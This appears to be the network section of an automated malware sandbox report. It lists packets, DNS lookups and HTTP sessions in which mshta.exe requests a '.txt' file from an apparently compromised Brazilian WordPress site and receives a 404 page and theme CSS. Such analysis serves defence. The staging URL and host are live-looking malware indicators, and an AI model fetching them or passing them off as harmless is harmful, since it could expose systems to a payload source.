Aug 16, 2022 11:45:11.702655077 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702655077 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.702682018 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702687979 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.702707052 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702717066 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.702733994 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702744007 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.702759981 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702769995 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.702785015 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702809095 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.702809095 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702831984 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702842951 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.702877045 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.827706099 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.827735901 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.827809095 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.827847004 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.876846075 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:12.108155012 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:12.108175993 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:12.108222961 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:12.108247042 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:16.707782030 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:16.707863092 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:17.113915920 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:17.114083052 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:46:33.517147064 CEST	49772	80	192.168.2.5	142.250.181.238
Aug 16, 2022 11:46:33.517256975 CEST	49768	80	192.168.2.5	104.18.11.207
Aug 16, 2022 11:46:33.517299891 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:46:33.517431974 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:46:33.536004066 CEST	80	49768	104.18.11.207	192.168.2.5
Aug 16, 2022 11:46:33.536036015 CEST	80	49772	142.250.181.238	192.168.2.5
Aug 16, 2022 11:46:33.536072016 CEST	49768	80	192.168.2.5	104.18.11.207
Aug 16, 2022 11:46:33.536303997 CEST	49772	80	192.168.2.5	142.250.181.238
Aug 16, 2022 11:46:33.829145908 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:46:33.860435009 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:46:34.438580990 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:46:34.469878912 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:46:35.641828060 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:46:35.673088074 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:46:38.048278093 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:46:38.079507113 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:46:42.970587969 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:46:42.970778942 CEST	49837	80	192.168.2.5	187.45.240.69

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 16, 2022 11:44:43.921650887 CEST	57278	53	192.168.2.5	8.8.8.8
Aug 16, 2022 11:44:44.182437897 CEST	53	57278	8.8.8.8	192.168.2.5
Aug 16, 2022 11:44:45.980674028 CEST	53757	53	192.168.2.5	8.8.8.8
Aug 16, 2022 11:44:46.001342058 CEST	53	53757	8.8.8.8	192.168.2.5
Aug 16, 2022 11:44:46.168005943 CEST	53934	53	192.168.2.5	8.8.8.8
Aug 16, 2022 11:44:46.195528984 CEST	53	53934	8.8.8.8	192.168.2.5
Aug 16, 2022 11:45:05.379563093 CEST	52333	53	192.168.2.5	8.8.8.8
Aug 16, 2022 11:45:05.416517973 CEST	53	52333	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 16, 2022 11:44:43.921650887 CEST	192.168.2.5	8.8.8.8	0xda75	Standard query (0)	facextrade.com.br	A (IP address)	IN (0x0001)
Aug 16, 2022 11:44:45.980674028 CEST	192.168.2.5	8.8.8.8	0xc566	Standard query (0)	netdna.bootstrapcdn.com	A (IP address)	IN (0x0001)
Aug 16, 2022 11:44:46.168005943 CEST	192.168.2.5	8.8.8.8	0x9f2f	Standard query (0)	translate.google.com	A (IP address)	IN (0x0001)
Aug 16, 2022 11:45:05.379563093 CEST	192.168.2.5	8.8.8.8	0xa98d	Standard query (0)	storage.ie6countdown.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 16, 2022 11:44:44.182437897 CEST	8.8.8.8	192.168.2.5	0xda75	No error (0)	facextrade.com.br		187.45.240.69	A (IP address)	IN (0x0001)
Aug 16, 2022 11:44:46.001342058 CEST	8.8.8.8	192.168.2.5	0xc566	No error (0)	netdna.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)
Aug 16, 2022 11:44:46.001342058 CEST	8.8.8.8	192.168.2.5	0xc566	No error (0)	netdna.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)
Aug 16, 2022 11:44:46.195528984 CEST	8.8.8.8	192.168.2.5	0x9f2f	No error (0)	translate.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)
Aug 16, 2022 11:44:46.195528984 CEST	8.8.8.8	192.168.2.5	0x9f2f	No error (0)	www3.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)
Aug 16, 2022 11:45:04.665887117 CEST	8.8.8.8	192.168.2.5	0xd547	No error (0)	gstaticadssl.l.google.com		172.217.16.195	A (IP address)	IN (0x0001)
Aug 16, 2022 11:45:05.416517973 CEST	8.8.8.8	192.168.2.5	0xa98d	Name error (3)	storage.ie6countdown.com	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

facextrade.com.br

translate.google.com

netdna.bootstrapcdn.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49773	142.250.181.238	443	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49766	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:44.448237896 CEST	1169	OUT	GET /wp-includes/certificates/4.txt HTTP/1.1 Accept: / Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:45.878160954 CEST	1171	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:44:44 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 Data Ascii: 104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alternate" type="application/atom+xml" title="Facex" href="h
Aug 16, 2022 11:44:45.878202915 CEST	1172	IN	Data Raw: 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 61 74 6f 6d 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 Data Ascii: ttps://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><link rel="stylesheet" type="text/css" media="all" href="h
Aug 16, 2022 11:44:45.878228903 CEST	1173	IN	Data Raw: 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 2e 39 2e 32 30 22 7d 7d 3b 0a 09 09 09 21 66 75 6e 63 74 Data Ascii: cextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p
Aug 16, 2022 11:44:45.878252029 CEST	1174	IN	Data Raw: 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 Data Ascii: pports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload
Aug 16, 2022 11:44:45.880299091 CEST	1175	IN	Data Raw: 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 Data Ascii: 101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em
Aug 16, 2022 11:44:45.880377054 CEST	1177	IN	Data Raw: 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d Data Ascii: t-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' /><
Aug 16, 2022 11:44:45.880404949 CEST	1178	IN	Data Raw: 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f 2d 73 Data Ascii: ss?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='al
Aug 16, 2022 11:44:45.880424023 CEST	1178	IN	Data Raw: 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65 72 79 Data Ascii: ascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
Aug 16, 2022 11:44:45.885863066 CEST	1180	IN	Data Raw: 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 Data Ascii: 107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/li
Aug 16, 2022 11:44:45.885900021 CEST	1181	IN	Data Raw: 2f 6a 73 2f 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 2d 70 75 62 6c 69 63 2e 6a 73 3f 76 65 72 3d 31 2e 30 2e 30 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 Data Ascii: /js/logo-slider-wp-public.js?ver=1.0.0'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1'></script><script type='text/javascript' src='http://fac
Aug 16, 2022 11:44:46.105458021 CEST	1184	IN	Data Raw: 4c 20 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 27 2c 0a 09 20 50 41 52 45 4e 54 5f 55 52 4c 20 3d 20 27 68 74 74 70 3a 2f Data Ascii: L ='http://facextrade.com.br/wp-content/themes/theme51253', PARENT_URL = 'http://facextrade.com.br/wp-content/themes/CherryFramework', CURRENT_THEME = 'theme51253'</script><style type='text/css'>body { background-image:url(http://facext

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49778	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:48.490734100 CEST	1586	OUT	GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:48.721596003 CEST	1588	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:48 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:35:52 GMT ETag: "a4f99b-7abe-58592ebd6de00" Accept-Ranges: bytes Content-Length: 31422 Connection: close Content-Type: text/css Data Raw: 2f 2a 20 23 53 68 6f 72 74 63 6f 64 65 73 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 2a 2f 0a 2f 2a 20 52 65 63 65 6e 74 20 50 6f 73 74 73 20 53 68 6f 72 74 63 6f 64 65 73 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 20 7b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 30 20 2d 32 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 0a 20 20 2f 2a 20 49 6d 61 67 65 73 20 46 6f 72 6d 61 74 20 54 79 70 65 20 2a 2f 0a 20 20 2f 2a 20 51 75 6f 74 65 20 46 6f 72 6d 61 74 20 54 79 70 65 20 2a 2f 0a 20 20 2f 2a 20 4c 69 6e 6b 20 46 6f 72 6d 61 74 20 54 79 70 65 20 2a 2f 0a 20 20 2f 2a 20 41 75 64 69 6f 20 46 6f 72 6d 61 74 20 54 79 70 65 20 2a 2f 0a 20 20 2f 2a 20 56 69 64 65 6f 20 46 6f 72 6d 61 74 20 54 79 70 65 20 2a 2f 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 20 32 30 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 3b 0a 20 20 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 2e 66 65 61 74 75 72 65 64 2d 74 68 75 6d 62 6e 61 69 6c 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 32 30 70 78 20 30 20 30 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 68 35 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 2e 65 78 63 65 72 70 74 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 2e 35 65 6d 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 2e 6d 65 74 61 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 2e 35 65 6d 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 38 38 38 3b 0a 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 75 70 70 65 72 63 61 73 65 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 2e 70 6f 73 74 2d 64 61 74 65 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 5f 6c 69 20 2e 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 20 2e 66 6f 72 6d 61 74 2d 69 6d 61 67 65 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 32 30 70 78 20 32 30 70 78 20 30 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 20 2e 66 6f 72 6d 61 74 2d 61 75 64 69 6f 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 65 6d 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 20 Data Ascii: /* #Shortcodes================================================== // Recent Posts Shortcodes---------------------------------------- /.recent-posts { overflow: hidden; margin: 0 0 0 -20px !important; padding: 0; border: none; list-style: none; / Images Format Type / / Quote Format Type / / Link Format Type / / Audio Format Type / / Video Format Type */}.recent-posts_li { margin: 0 0 20px 20px; padding: 0; border: none; background: none; list-style-type: none;}.recent-posts_li .featured-thumbnail { float: left; margin: 0 20px 0 0;}.recent-posts_li h5 { margin-bottom: 0; font-size: 1em;}.recent-posts_li .excerpt { margin-bottom: 1.5em;}.recent-posts_li .meta { display: block; overflow: hidden; margin-bottom: .5em; color: #888; text-transform: uppercase; font-size: 10px;}.recent-posts_li .post-date { float: left;}.recent-posts_li .post-comments { float: right;}.recent-posts .format-image { float: left; margin: 0 20px 20px 0;}.recent-posts .format-audio { margin-bottom: 2em;}.recent-posts
Aug 16, 2022 11:44:48.721613884 CEST	1590	IN	Data Raw: 2e 66 6f 72 6d 61 74 2d 61 75 64 69 6f 20 2e 61 75 64 69 6f 2d 77 72 61 70 70 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 2e 35 65 6d 3b 0a 7d 0a 2e 72 65 63 65 6e 74 2d 70 6f 73 74 73 20 2e 66 6f 72 6d 61 74 2d 76 69 64 65 Data Ascii: .format-audio .audio-wrapper { margin-bottom: .5em;}.recent-posts .format-video { float: left; width: 300px;}/* Popular Posts Shortcode---------------------------------------- */.popular-posts li { overflow: hidden; margin: 0;
Aug 16, 2022 11:44:48.721626997 CEST	1591	IN	Data Raw: 75 6d 62 6e 61 69 6c 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 7d 0a 2e 6d 69 6e 69 2d 70 6f 73 74 73 2d 67 72 69 64 2e 67 72 69 64 2d 61 6c 69 67 6e 2d 63 65 6e 74 65 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 Data Ascii: umbnail { margin: 0;}.mini-posts-grid.grid-align-center { text-align: center; font-size: 0; line-height: 0;}.mini-posts-grid.grid-align-center li { float: none; display: inline-block;}.mini-posts-grid.grid-align-right li {
